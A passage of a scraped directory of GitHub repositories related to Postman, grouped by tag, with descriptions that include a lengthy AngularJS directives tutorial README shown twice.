conducted, elastic, elasticsearch, search 		Elastic search is conducted using SpringBoot in Java, for API usage postman needs to be used 0 stars 0 watchers 0 forks
deeep911/Java-parser-elasticsearch
data, elastic, elasticsearch, host, hosted, local, locally, parse, parser, search, tweets 		Reads data about the tweets using Elasticsearch and SpringBoot, hosted locally hence for API usage postman needs to be used. 0 stars 0 watchers 0 forks
garethahealy/elastic-postman
elastic, search 		[NEEDS-UPDATE] The idea of this project is to make it easier to search any GNU Mailman v2. 0 stars 0 watchers 0 forks
joanjpx/elasticsearch-api
elastic, elasticsearch, search 		API Requests Collections for Testing ElasticSearch Basics @ POSTMAN 0 stars 0 watchers 0 forks
kabanon/learning-elastic-search
elastic, learn, learning, search 		You Know, for Search 0 stars 0 watchers 0 forks
neelkanthdaffodil/elasticsearch_training
elastic, elasticsearch, search, training 		Postman APIs used in the Elasticsearch training 0 stars 0 watchers 0 forks
rodrigolira/elasticsearch-query-collection
collection, elastic, elasticsearch, queries, query, scroll, search 		:scroll: A Postman collection of queries targetting Elasticsearch API 0 stars 0 watchers 0 forks
shruti-14/postman_collection_monitoring
collection, data, elastic, monitor, monitoring, newman, node, postman collection, storing 		Monitoring postman collection using newman node and storing data in elastic serach 0 stars 0 watchers 0 forks
worldisnoposition/elasticsearch--
elastic, elasticsearch, http, search 		elasticsearch的http形式的语句，以postman文件形式存储的 0 stars 0 watchers 0 forks
ykl124/elasticsearch-postman
elastic, elasticsearch, search 		批量ES API 0 stars 0 watchers 0 forks

types (13 listings) (Back to Top)

stategen/stategen
flutter, free, freemarker, github, http, https, java, mock, provider, react, script, spring, stat, type, types, typescript 		通用springMvc/springBoot分布式非强迫性全栈架构(java服务端，H5、iOS、andriod前端)，内含大名鼎鼎的支付宝dalgen之freemarker开源实现之商用升级版dalgenX，是唯一支持迭代开发的全栈代码生成器，大量前、后端代码通过生成器生成，其中后端任意api直接生成前端网络调用、状态化、交互等相关代码，把前后端分离开发"拉"回来，目前前端已支持react(dva+umi+typescript)和flutter(provider),后续加入kotlin、swf。免去前端文档、调试、postman、mockjs...繁琐。开发中迭代生成，不改变原开发流程、生成80%代码,兼容后20%你自己的代码，拒绝挖坑！ https://github.com/stategen/stategen 44 stars 44 watchers 10 forks
SiddharthaChowdhury/full-stack-auth
auth, babel, graph, jest, mongo, node, react, route, router, script, type, types, typescript 		react.js, node.js, typescript, babel, webpack, graphQL, REST, mongoDB, jest, react-router, postman 5 stars 5 watchers 0 forks
itsmebhavin/nodejs-express-typescript-boilerplate
boiler, boilerplate, express, node, nodejs, script, type, types, typescript 		Sample boilerplate project for node.js, express using TypeScript and Gulp. 0 stars 0 watchers 8 forks
fedejousset/Dynamics365WebApiPostmanCollection
auth, authentication, collection, standard, template, templates, test, type, types 		This is a Postman collection that covers standard API requests for Dynamics 365. The collection aims to help Dynamics 365 Developers/Power Users to create, run and test different types of Web API request by providing authentication and request templates. 0 stars 0 watchers 7 forks
nuxeo-sandbox/nuxeo-swagger
convert, description, form, format, import, importable, nuxeo, portable, sandbox, script, swagger, tool, tools, type, types 		Tools to convert the Nuxeo Swagger 1.2 descriptions to an importable format for Postman and other types of tools. 1 stars 1 watchers 0 forks
VictorDeon/Pigeon
communication, component, components, exchange, framework, media, message, messages, python, service, services, type, types 		Pigeon is a framework developed in python that was made to intermediate the use of RabbitMQ services in a quick and easy way, these services of communication between components / services through different types of context of exchange of messages 1 stars 1 watchers 0 forks
gqy117/types-newman
newman, script, type, types 		Typescript Typing for Postman/Newman 0 stars 0 watchers 0 forks
allanx2000/HTTPUtil
install, program, type, types 		A simple program so I can sent all types of HTTP requests without installing a giant complicated app like Postman 0 stars 0 watchers 0 forks
martinc278/Backend-Server_typescript
backend, script, server, test, tested, type, types, typescript 		Created and deployed a backend server using typescript, used Framework Nest and tested with postman 0 stars 0 watchers 0 forks
nkeenan38/k6-from-postman
collection, collections, postman collection, postman collections, script, test, tests, type, types, typescript 		Generates K6 tests in typescript from postman collections 0 stars 0 watchers 0 forks
noblethrasher/Postman
lang, language, light, lightweight, setting, type, types 		A compiler for a lightweight typesetting language 0 stars 0 watchers 0 forks
postman-app/postman_transport
behaviour, definition, transport, type, types 		Transport behaviour and types definition for Postman 0 stars 0 watchers 0 forks
WendellOdom/Basic-Python-Data-Types-01
copy, data, program, python, sequence, type, types 		A sequence about Python Data types that leads to a circle of python data, JSON, Postman REST calls, and copying code into a Python program. 0 stars 0 watchers 0 forks

messages (13 listings) (Back to Top)

aaronpowell/Postman
application, message, messages 		The Postman will help you deliver messages around your JavaScript application 144 stars 144 watchers 18 forks
etrepat/postman
message, messages 		IMAP idling daemon which forwards incoming messages to a callback URL 6 stars 6 watchers 4 forks
HasnainAshfaq/telethon-api-web-app
message, messages, send, web app 		Tele PostMan - a complete web app based on Telethon API to send messages on Telegram 6 stars 6 watchers 0 forks
airtechzone/ndc-192-postman-collection
collection, message, messages, sample 		Postman collection of sample XML messages for 19.2 1 stars 1 watchers 2 forks
leungant/django-useraccounts-messaging-starter
account, accounts, auth, django, followed, message, messages, messaging, notification, starter, user 		Project with Login with all auth, followed by messages and notification with postman and django-notifications-hq, can be used a starter app 1 stars 1 watchers 0 forks
VictorDeon/Pigeon
communication, component, components, exchange, framework, media, message, messages, python, service, services, type, types 		Pigeon is a framework developed in python that was made to intermediate the use of RabbitMQ services in a quick and easy way, these services of communication between components / services through different types of context of exchange of messages 1 stars 1 watchers 0 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
gouravjixer/Informal-letter-format
address, application, business, case, collection, collections, compose, creation, design, download, exercise, form, format, instruction, issue, letters, message, messages, method, school, secure, secured, sort, sorted, spec, steem, struct, test, tests, to do, user, util, utilization, welcome 		Casual Letter Format Sample is as yet a fundamental ability being in the realm of messages and messages. Each individual needs to compose letters in a few or other way. Letters for an occupation application, protests, thank you, asking for something, recommending something and so forth are in pattern might be in a business field or in school period. It likewise has its favorable circumstances. Empowering understudies in early ages for composing casual letter organize CBSE will enhance their relational abilities, include certainty, enhancing penmanship aptitudes, and make them think about composing organization and utilizations and its organizing that how formal and casual letters vary and make significance. The most effective method to compose a casual letter design Composing a casual letter arrange in English professionally is better and make your esteem. A casual letter can be composed in any criteria or way you can pick however composing it in a sorted out way will make its esteem. You ought to take after the organization in like manner. Right off the bat comes the opening: in this one should know how to address the peruser legitimately in a casual way. This ought to be direct and begin by specifying the name of the individual with a sweet welcome. What's more, begin your letter like, 'how are you?', 'trust you are fine.' Etc. The body: the body ought to be composed in a well disposed and individual tone. Consider your genuine relations and issues and begin composing it in like manner tone and dialect. Shutting: here one condenses their perspectives and give a farewell or get together the wave. You can specify, 'see you soon.', 'can hardly wait to see you.' and so forth. Also, compose your name and mark toward the end. casual letter case pdf casual letter case pdf Snap Here To Download Informal letter case pdf Unique ABOUT HANDWRITTEN LETTERS There are fun and creation in written by hand letters. There is still exceptionalness contributing a letter in the case and getting it from a postman, secured with beautiful stamps and love. This shows somebody has set aside time for you to think and sit to compose a letter. These have their own particular appeal. Configuration of casual letter in english Configuration of casual letter in english Configuration of casual letter in english Snap Here To Download Format of the casual letter in English Step by step instructions to compose an individual letter the most effective method to compose an individual letter the most effective method to compose an individual letter Snap here to download how to compose an individual letter PDF End These have their own esteem. These are sent by adoration and time and one keeps them for whatever length of time that recollections. These likewise have exercises and help youngsters to indicate inventiveness, have some good times, take in its significance and upgrade their aptitudes. 0 stars 0 watchers 0 forks
lizvane3/04-spotiapp
active, component, connection, home, image, index, message, messages, release, route, router, search, searches, track, usar, util 		Spotify: Routes (using it good and usedHash) routerLinkActive = "active” - routerLink="home”. HTTP Request. Spotify connection with postman - Home showing new releases - Search by artist - Centralizar peticiones hacia Spotify (one request to get releases and searches) - Creating pipe to no image - Reutilizar componente tarjeta para usar en index y busqueda con Input - Foundation loading - Route to each artist - Show top tracks and preview - Use safe url with pipe domSeguro. - Insert preview Spotify widget - Error messages in screen with Input 0 stars 0 watchers 0 forks
patelayush/Group-Messaging
assignment, auth, authentication, connection, details, file, header, login, message, messages, returned, token 		In this assignment you will get familiar with using with HTTP connections, authentication, and implement an app to share messages. The API details are provided in the Postman file that is provided with this assignment. For authentication you need to pass the token returned from login api as part of the header as described in the Postman file. 0 stars 0 watchers 0 forks
sgreaves1/Rabbit-Postman
message, messages 		A mac os app to post messages onto rabbit queues 0 stars 0 watchers 0 forks
stevekm/py-postman
message, messages, print 		Simple Python Flask app to recieve and print POST messages 0 stars 0 watchers 0 forks
venkatgunneri/Messenger-App
client, collection, comments, file, files, message, messages, notation, resource, resources, source 		Messaging App, Creating Profiles, can share messages with sub resources as comments and likes. Code written in using REST API annotations and getting response in JSON. Postman API as a client. worked on resource URI's and collection URI's. 0 stars 0 watchers 0 forks

media (13 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
Azure-Samples/media-services-v3-rest-postman
collection, media, postman collection, rest, service, services 		The postman collection in this repository contains REST calls to Azure Media Services v3 APIs. 0 stars 0 watchers 11 forks
messagemedia/PostmanCollections
collection, collections, media, message, postman collection, postman collections 		postman collections for available APIs 2 stars 2 watchers 1 forks
kre8mymedia/laravel-postman-api
description, laravel, media, script 		No description available. 1 stars 1 watchers 1 forks
markande98/Friendbook-Socialmedia-App--server-side-
backend, book, cloud, firebase, media, server, social, storage 		This is social media app. I am using firebase (cloud storage), postman here for the backend. 1 stars 1 watchers 0 forks
MatthewWid/Shoutout
media, site, social 		📢 News sharing and social media site made with Node, React and MongoDB. 1 stars 1 watchers 0 forks
remedialchaostheory/flask-shop
flask, media 		Shop app built with Python, Postman, TravisCI 1 stars 1 watchers 0 forks
VictorDeon/Pigeon
communication, component, components, exchange, framework, media, message, messages, python, service, services, type, types 		Pigeon is a framework developed in python that was made to intermediate the use of RabbitMQ services in a quick and easy way, these services of communication between components / services through different types of context of exchange of messages 1 stars 1 watchers 0 forks
sharanya-rao/media-services-v3-rest-postman
description, media, rest, script, service, services 		No description available. 0 stars 0 watchers 0 forks
briang123/Social-Media-Site
media, site, social, stat, website 		Code Along in React, Express, Node, and MongoDB - Demo app using the MERN stack to create a social media website. I'm using Redux for state management and Boostrap for styling. The site was deployed to Heroku. 0 stars 0 watchers 0 forks
Medina94/Practicas.Spring.RecibeObjeto
media 		Aplicacion en Spring Boot que recibe un objeto mediante postman 0 stars 0 watchers 0 forks
pramodkondur/REST-social-app
application, boot, concept, data, database, eclipse, exchange, form, format, media, service, services, social, util, utilizing 		A social media application implementing the RESTful Web Services using JSON exchange format done in Java. The main aim for working on this project was to understand the concept of REST web services. Done in eclipse utilizing Springboot, Hibernate, Postman and uses H2 as database 0 stars 0 watchers 0 forks
rayasocialmedia/postman
media, social 		Notifications for Rails 3 0 stars 0 watchers 0 forks

included (13 listings) (Back to Top)

grokify/swaggman
included, spec 		Convert OpenAPI 3.0 and OpenAPI / Swagger 2.0 Specs to Postman 2.0 Collections. Example RingCentral spec included. 0 stars 0 watchers 16 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create 